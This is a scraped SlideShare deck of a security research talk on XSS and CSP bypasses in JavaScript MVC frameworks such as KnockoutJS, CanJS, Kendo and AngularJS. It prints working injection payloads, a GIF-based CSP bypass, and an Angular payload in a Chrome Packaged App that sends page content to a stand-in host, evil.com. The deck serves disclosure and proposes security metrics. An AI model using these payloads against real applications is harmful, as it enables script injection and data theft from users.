SlideShare a Scribd company logo
1 of 56
Download to read offline
JSMVCOMFG
To sternly look at JavaScript MVC and Templating Frameworks
A presentation by Mario Heiderich
mario@cure53.de || @0x6D6172696F
Infosec Hobgoblin
●

Dr.-Ing. Mario Heiderich
●

Researcher and Post-Doc, Ruhr-Uni Bochum
–

●

PhD Thesis on Client Side Security and Defense

Founder of Cure53
–
–

Consulting, Workshops, Trainings

–
●

Penetration Testing Firm
Simply the Best Company of the World

Published author and international speaker
–

Specialized in HTML5 and SVG Security

–

JavaScript, XSS and Client Side Attacks

●

HTML5 Security Cheatsheet

●

And something new!
–

@0x6D6172696F

–

mario@cure53.de
Today
●

JavaScript MVC & Templating Frameworks

●

Why? Because they are becoming popular
●

Yes, we have numbers, wait for it...

●

And they are special

●

Are there security flaws?

●

If yes

(heh.. if..)

what can we learn from them?
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
What are they
●

Written in JavaScript

●

Often huge

●

Often very complex

●

Often maintained by corporations

●

Interfaces to enable different coding styles

●

Extending, optimizing, changing
●

The way developers work with JavaScript

●

The way web applications used to work
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
What do they do?
●

Claims
●

●

●

●

“More productive out of the box”

EmberJS

“AngularJS lets you extend HTML vocabulary
for your application” AngularJS
“Fast templates, responsive widgets”
“Simple and intuitive, powerful and
extensible, lightning fast” JsRender

CanJS
Examples
<script type="text/x-handlebars">
{{outlet}}
</script>
<script type="text/x-handlebars"
id="x">
<h1>People</h1>
<ul>
{{#each model}}
<li>Hello, <b>{{fullName}}</b>!
</li>

App = Ember.Application.create();
App.Person = Ember.Object.extend({
firstName: null, lastName: null,
fullName: function() {
return this.get('firstName') +
" " + this.get('lastName');
}.property('firstName', 'lastName')
});
App.IndexRoute = Ember.Route.extend({
model: function() {
var people = [

{{/each}}

App.Person.create({

</ul>

firstName: "Frank",

</script>

lastName: "N. Stein"
}) ];
return people;
}});
Examples
<!doctype html>
<html ng-app>
<head>
<script src="angular.min.js"></script>
</head>
<body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Your name">
<hr>
<h1>Hello {{yourName}}!</h1>
</div>
</body>
</html>
Examples
<div class="liveExample" id="x">
<select data-bind="options: tickets,
optionsCaption: 'Choose...',
optionsText: 'name',
value: chosenTicket">
<option value="">Economy</option>
<option value="">Business</option>
<option value="">First Class</option>
</select>
<button data-bind="enable: chosenTicket,
click: resetTicket" disabled="">Clear</button>
<p data-bind="with: chosenTicket"></p>
<script type="text/javascript">
function TicketsViewModel() {
this.tickets = [
{ name: "Economy", price: 199.95 },
{ name: "Business", price: 449.22 },
{ name: "First Class", price: 1199.99 }
];
this.chosenTicket = ko.observable();
this.resetTicket = function() { this.chosenTicket(null) }
}
ko.applyBindings(new TicketsViewModel(), document.getElementById("x"));
</script>
</div>

Binding stuff

Raw Data!

Puttin' it togetha
So..
●

JSMVC Frameworks do the following
●

They extend the DOM

●

They “abstractify” the DOM

●

They provide new interfaces

●

They often use script-templates

or “data blocks”

“The script element allows authors to include

HTML5
HTML5
Approved!
Approved!

dynamic script and data blocks in their documents.”
–
–

Sometimes ERB-style

–
●

Often Mustache-style
Sometimes something completely different

They often use markup-sugar
–

Custom elements, <hellokitty>

–

HTML5 data attributes

WHATWG
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
Mustache
●

Specified in 2009 by
Wanstrath

●

{{ stuff }}

●

{{#is_true}}
Bla {{/is_true}
JSMVC and Security
●

Initial rationale for security research
●

●

●

It's trending, it's complex, it's different
What else do we need... nothing

Poke-first, analyze later
●

●

●

Pick a target, thanks TodoMVC!
Explore debugging possibilities

Goal: Execute arbitrary JavaScript, maybe more
●

●

Using otherwise uncommon ways

●

●

Using the JSMVC capabilities
Assume injection, assume conventional XSS filter

After poking, derive a metric for JSMMVC security
Pokes
●

Why not start with KnockoutJS
<script src="knockout-2.3.0.js"></script>
<div data-bind="x:alert(1)" />
<script>
ko.applyBindings();
</script>
Wait...
●

JavaScript from within a data-attribute?

●

No extra magic, just the colon?

●

That's right

●

See where we are heading with this?

●

Knockout knocks out XSS filters
●

●

Chrome's XSS Auditor

●

●

IE's XSS Filter
Anything that allows data attributes

This behavior breaks existing security assumptions!
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
The reason
●

“eval” via “Function”
parseBindingsString: function(b, c, d) {
try {
var f;
if (!(f = this.Na[b])) {
var g = this.Na, e, m = "with($context){with($data||{}){return{"
+ a.g.ea(b) + "}}}";
e = new Function("$context", "$element", m);
f = g[b] = e
}
return f(c, d)
} catch (h) {
throw h.message = "Unable to parse bindings.nBindings value: " + b +
"nMessage: " + h.message, h;
}
}
Keep pokin'
●

CanJS for example
<script src="jquery-2.0.3.min.js"></script>
<script src="can.jquery.js"></script>
<body>
<script type="text/ejs" id="todoList">
<%==($a)->abc})-alert(1)-can.proxy(function(){%>
</script>
<script>
can.view('todoList', {});
</script>
</body>
Reason
●

A copy of “eval” called “myEval”
myEval = function(script) {
eval(script);
},
[...]
var template = buff.join(''),
out = {
out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt +
"}}"
};
// Use `eval` instead of creating a function, because it is easier to debug.
myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out +
'});rn//@ sourceURL=' + name + ".jjs");
return out;
And even more...
<script src="jquery-1.7.1.min.js"></script>
<script src="kendo.all.min.js"></script>
<div id="x"># alert(1) #</div>
<script>
var template = kendo.template($("#x").html());
var tasks = [{ id: 1}];
var dataSource = new kendo.data.DataSource({ data: tasks });
dataSource.bind("change", function(e) {
var html = kendo.render(template, this.view());
});
dataSource.read();
</script>
Keeeeep Pokin'
●

AngularJS 1.1.x
<script src="angular.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>

●

Or this – even with encoded mustaches
<script src="angular.min.js"></script>
<div class="ng-app">
&#x7b;&#x7b;constructor.constructor('alert(1)')()&#x7d;&#x7d;
</div>
Reason
●

“eval” via “Function”
var code = 'var l, fn, p;n';
forEach(pathKeys, function(key, index) {
code += 'if(s === null || s === undefined) return s;n' +
'l=s;n' +
's=' + (index
// we simply dereference 's' on any .dot notation
? 's'
// but if we are first then we check locals first, and if so read it first
: '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';n' +
[…]
'}n' +
' s=s.$$vn' +
'}n';
});
code += 'return s;';
fn = Function('s', 'k', code); // s=scope, k=locals
fn.toString = function() {
return code;
};
Sadly for the attacker...
●

They fixed it in 1.2.x

●

Dammit!

●

Good test-cases too! Look...

●

function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast … other contexts
if (obj && obj.constructor === obj) {
throw $parseMinErr('isecfn', 'Referencing Function in Angular
expressions is disallowed!Expression: {0}', fullExpression);
} else {
return obj;
}
Not that hard to solve

var foo = {};
foo.bar = 123;
foo.baz = 456;
console.log(foo.hasOwnProperty('bar'));
console.log(foo.hasOwnProperty('baz'));
console.log(foo.hasOwnProperty('constructor'));
console.log(foo.hasOwnProperty('__proto__'));
console.log(foo.hasOwnProperty('prototype'));

//
//
//
//
//

true
true
false
false
false
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
CSP
●

Most of the JSMVC will not work with CSP

●

At least not without unsafe-eval

●

That's not gonna help evangelize CSP

●

Although there's hope – AngularJS
<div ng-app ng-csp>
<div ng-app ng-csp>
AngularJS
●

Features a special CSP mode

●

Said to be 30% slower

●

But enables AngularJS to work

●

Even without unsafe-eval or other nasties

●

●

Magick!

It also brings back script injections
<?php
header('X-Content-Security-Policy: default-src 'self');
header('Content-Security-Policy: default-src 'self');
header('X-Webkit-CSP: default-src 'self');
?>
<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
</head>
<body onclick="alert(1)">
Click me
<h1 ng-mouseover="$event.view.alert(2)">
Hover me
</h1>
</body>

Proper CSP!
How do they do it?
I. Parse the “ng”-attributes
II. Slice out the relevant parts
III. Create anonymous functions
IV. Connect them with events
V. Wait for event handler to fire
$element.onclick=function($event){
$event['view']['alert']('1')
}
●

It's technically not in-line

●

Neither is any “eval” being used
So, enabling the JSMVC to work with CSP
(partly) kills the protection CSP delivers?
Aw, yeah, being a pen-tester these days!
“Packaged apps deliver an experience as capable as a native
app, but as safe as a web page. Just like web apps, packaged
apps are written in HTML5, JavaScript, and CSS.”
Uhm...
“Packaged apps have access to Chrome APIs and services not
available to traditional web sites. You can build powerful apps
that interact with network and hardware devices, media tools,
and much more.”
:-O
It's bad
“Ever played with Chrome Packaged Apps?”

●

Very powerful tools

●

Similar yet not equivalent to extensions

●

Melting the barrier between web and desktop

●

HTML + JS + many APIs

●

CSP enabled by default

●

And work great with AngularJS

(of course)
Doing the Nasty
●

Let's bypass CSP in CPA using Angular

●

And escalate some privileges
Benign

The HTML of

<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2>Todo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>
</body>
</html>

our fancy app
Benign
function TodoCtrl($scope) {
$scope.todos = [
{text:'learn angular', done:true},
{text:'build an angular app', done:false}];
$scope.remaining = function() {
var count = 0;
angular.forEach($scope.todos, function(todo) {
count += todo.done ? 0 : 1;
});
return count;
};
$scope.archive = function() {
var oldTodos = $scope.todos;
$scope.todos = [];
angular.forEach(oldTodos, function(todo) {
if (!todo.done) $scope.todos.push(todo);
});
};
}

Our Controller
Code, AngularJS
Benign
{
"manifest_version": 2,
"name": "Lab3b MVC with controller",
"permissions": ["webview"],
"version": "1",
"app": {
"background": {
"scripts": ["main.js"]
}
},
"icons": { "128": "icon.png" }
}

The Manifest,
Permissions too
Attacked
<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2 ng-click="invalid(
w=$event.view,
x=w.document.createElement('webview'),
x.src='http://evil.com/?'+w.btoa(w.document.body.innerHTML),
w.document.body.appendChild(x)
)">Todo-shmoodoo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>
</body>
</html>

Oh, Sh*t!
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
Happy testing –
there's a lot more to find!
For example this...
<div class="ng-include:'//ø.pw'">
More CSP Bypasses

●

And even a much better one
●

●

Upload a GIF

●

●

Inject a class attribute
Get a free AngularJS + HTML5 CSP Bypass

Wanna see?
Let's upload a pic!

<span
class="ng-include:'test.gif'">
</span>
Now we inject a class attribute

It's a valid GIF but also
contains payload!

– including the image as
HTML!

Now it imports itself
<link rel="import" href="test.gif">

Thereby loads itself as JS
<script src="test.gif"></script>

“And pop goes the weasel”
“It looks like we will agree to disagree on the importance of the
HTML imports issue -- we don't think it's possible for a third
party to execute arbitrary Javascript via the process you
describe, so the risk of unsanitized HTML would be one that the
developer was taking on deliberately.”
Quick Recap
●

What have we seen today
●

Rotten Markup-Sugar

●

JavaScript exec. from data-attributes

●

JavaScript exec. from any element

●

JavaScript exec. within encoded mustache

●

A full-blown CSP Bypass

●

The reasons for all these

●

Oh – and an attack against Chrome Packaged Apps

●

And it was just the tip of the iceberg

●

Lots of “eval” and bad coding practices
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
“Markup-Sugar
considered
dangerous”
Metrics
●

While root causes persist, new challenges arise

●

We need to build metrics

●

After having analyzed 12 frameworks: Here's a proposal
{}SEC-A Are template expressions equivalent to a JavaScript eval?
{}SEC-B Is the the execution scope well isolated or sand-boxed?
{}SEC-C Can arbitrary HTML elements serve as template containers?
{}SEC-D Does the framework allow, encourage or even enforce
separation of code and content?
{}SEC-E Does the framework maintainer have a security response
program?
{}SEC-F Does the Framework allow safe CSP rules to be used
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
Conclusion
●

JSMVC requires new security requirements

●

No reflected content from the server within template containers

●

Sometimes, everything is a template container

●

Strict separation is necessary

●

And there is hope!

●

Maybe JSMVC eliminates XSS

●

Because it changes how we design applications.

●

And does by boosting and not hindering productivity

●

Interested in collaborating on this? Contact me!
The End
●

Questions?

●

Comments?

More Related Content

What's hot

JavaScript - An Introduction
JavaScript - An IntroductionJavaScript - An Introduction
JavaScript - An IntroductionManvendra Singh
 
jQuery Fundamentals
jQuery FundamentalsjQuery Fundamentals
jQuery FundamentalsGil Fink
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015CODE BLUE
 
Protecting browsers’ secrets in a domain environment
Protecting browsers’ secrets in a domain environmentProtecting browsers’ secrets in a domain environment
Protecting browsers’ secrets in a domain environmentItai Grady
 
A Deeper look into Javascript Basics
A Deeper look into Javascript BasicsA Deeper look into Javascript Basics
A Deeper look into Javascript BasicsMindfire Solutions
 
Event In JavaScript
Event In JavaScriptEvent In JavaScript
Event In JavaScriptShahDhruv21
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesChristopher Frohoff
 
Client-side JavaScript
Client-side JavaScriptClient-side JavaScript
Client-side JavaScriptLilia Sfaxi
 
Scaling Twitter
Scaling TwitterScaling Twitter
Scaling TwitterBlaine
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitPaula Januszkiewicz
 
Python Deserialization Attacks
Python Deserialization AttacksPython Deserialization Attacks
Python Deserialization AttacksNSConclave
 
Introduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsIntroduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsStefano Celentano
 

What's hot (20)

JavaScript - An Introduction
JavaScript - An IntroductionJavaScript - An Introduction
JavaScript - An Introduction
 
jQuery Fundamentals
jQuery FundamentalsjQuery Fundamentals
jQuery Fundamentals
 
jQuery for beginners
jQuery for beginnersjQuery for beginners
jQuery for beginners
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
jQuery
jQueryjQuery
jQuery
 
Protecting browsers’ secrets in a domain environment
Protecting browsers’ secrets in a domain environmentProtecting browsers’ secrets in a domain environment
Protecting browsers’ secrets in a domain environment
 
Html5-Web-Storage
Html5-Web-StorageHtml5-Web-Storage
Html5-Web-Storage
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Cookie and session
Cookie and sessionCookie and session
Cookie and session
 
NodeJS for Beginner
NodeJS for BeginnerNodeJS for Beginner
NodeJS for Beginner
 
A Deeper look into Javascript Basics
A Deeper look into Javascript BasicsA Deeper look into Javascript Basics
A Deeper look into Javascript Basics
 
Event In JavaScript
Event In JavaScriptEvent In JavaScript
Event In JavaScript
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
Go Lang Tutorial
Go Lang TutorialGo Lang Tutorial
Go Lang Tutorial
 
Client-side JavaScript
Client-side JavaScriptClient-side JavaScript
Client-side JavaScript
 
Scaling Twitter
Scaling TwitterScaling Twitter
Scaling Twitter
 
Cookies & Session
Cookies & SessionCookies & Session
Cookies & Session
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
 
Python Deserialization Attacks
Python Deserialization AttacksPython Deserialization Attacks
Python Deserialization Attacks
 
Introduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsIntroduction to Sightly and Sling Models
Introduction to Sightly and Sling Models
 

Viewers also liked

Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesMario Heiderich
 
AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application Carlo Bonamico
 
Single-Page-Application & REST security
Single-Page-Application & REST securitySingle-Page-Application & REST security
Single-Page-Application & REST securityIgor Bossenko
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontendSergey Belov
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
Sparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with SparkSparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with Sparkfelixcss
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
 
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Matt Raible
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Stormpath
 
Big Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and ZeppelinBig Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and Zeppelinprajods
 

Viewers also liked (17)

Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the Sill
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG Files
 
AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application AngularJS Security: defend your Single Page Application
AngularJS Security: defend your Single Page Application
 
Single-Page-Application & REST security
Single-Page-Application & REST securitySingle-Page-Application & REST security
Single-Page-Application & REST security
 
AngularJS
AngularJSAngularJS
AngularJS
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
Hash DoS Attack
Hash DoS AttackHash DoS Attack
Hash DoS Attack
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontend
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
Sparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with SparkSparkly Notebook: Interactive Analysis and Visualization with Spark
Sparkly Notebook: Interactive Analysis and Visualization with Spark
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applications
 
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
Comparing Hot JavaScript Frameworks: AngularJS, Ember.js and React.js - Sprin...
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)
 
Web Wuermer
Web WuermerWeb Wuermer
Web Wuermer
 
Big Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and ZeppelinBig Data visualization with Apache Spark and Zeppelin
Big Data visualization with Apache Spark and Zeppelin
 
SlideShare 101
SlideShare 101SlideShare 101
SlideShare 101
 

Similar to JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks

StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSNicolas Embleton
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJSLewis Ardern
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web TechnologiesPerttu Myry
 
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletongDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletonGeorge Nguyen
 
20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-finalDavid Lapsley
 
gDayX - Advanced angularjs
gDayX - Advanced angularjsgDayX - Advanced angularjs
gDayX - Advanced angularjsgdgvietnam
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)Igor Bronovskyy
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsEP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsAlessandro Molina
 
Introduction of angular js
Introduction of angular jsIntroduction of angular js
Introduction of angular jsTamer Solieman
 
Angular JS, steal the idea
Angular JS, steal the ideaAngular JS, steal the idea
Angular JS, steal the ideaScott Lee
 

Similar to JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks (20)

StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
Nicolas Embleton, Advanced Angular JS
Nicolas Embleton, Advanced Angular JSNicolas Embleton, Advanced Angular JS
Nicolas Embleton, Advanced Angular JS
 
Wt unit 2 ppts client sied technology
Wt unit 2 ppts client sied technologyWt unit 2 ppts client sied technology
Wt unit 2 ppts client sied technology
 
Wt unit 2 ppts client side technology
Wt unit 2 ppts client side technologyWt unit 2 ppts client side technology
Wt unit 2 ppts client side technology
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JS
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJS
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web Technologies
 
Webpack
Webpack Webpack
Webpack
 
The MEAN stack
The MEAN stack The MEAN stack
The MEAN stack
 
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas EmbletongDayX 2013 - Advanced AngularJS - Nicolas Embleton
gDayX 2013 - Advanced AngularJS - Nicolas Embleton
 
20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final20141002 delapsley-socalangularjs-final
20141002 delapsley-socalangularjs-final
 
Introduction to AngularJS
Introduction to AngularJSIntroduction to AngularJS
Introduction to AngularJS
 
gDayX - Advanced angularjs
gDayX - Advanced angularjsgDayX - Advanced angularjs
gDayX - Advanced angularjs
 
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For AssetsEP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
EP2016 - Moving Away From Nodejs To A Pure Python Solution For Assets
 
Introduction of angular js
Introduction of angular jsIntroduction of angular js
Introduction of angular js
 
Angular JS, steal the idea
Angular JS, steal the ideaAngular JS, steal the idea
Angular JS, steal the idea
 

More from Mario Heiderich

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
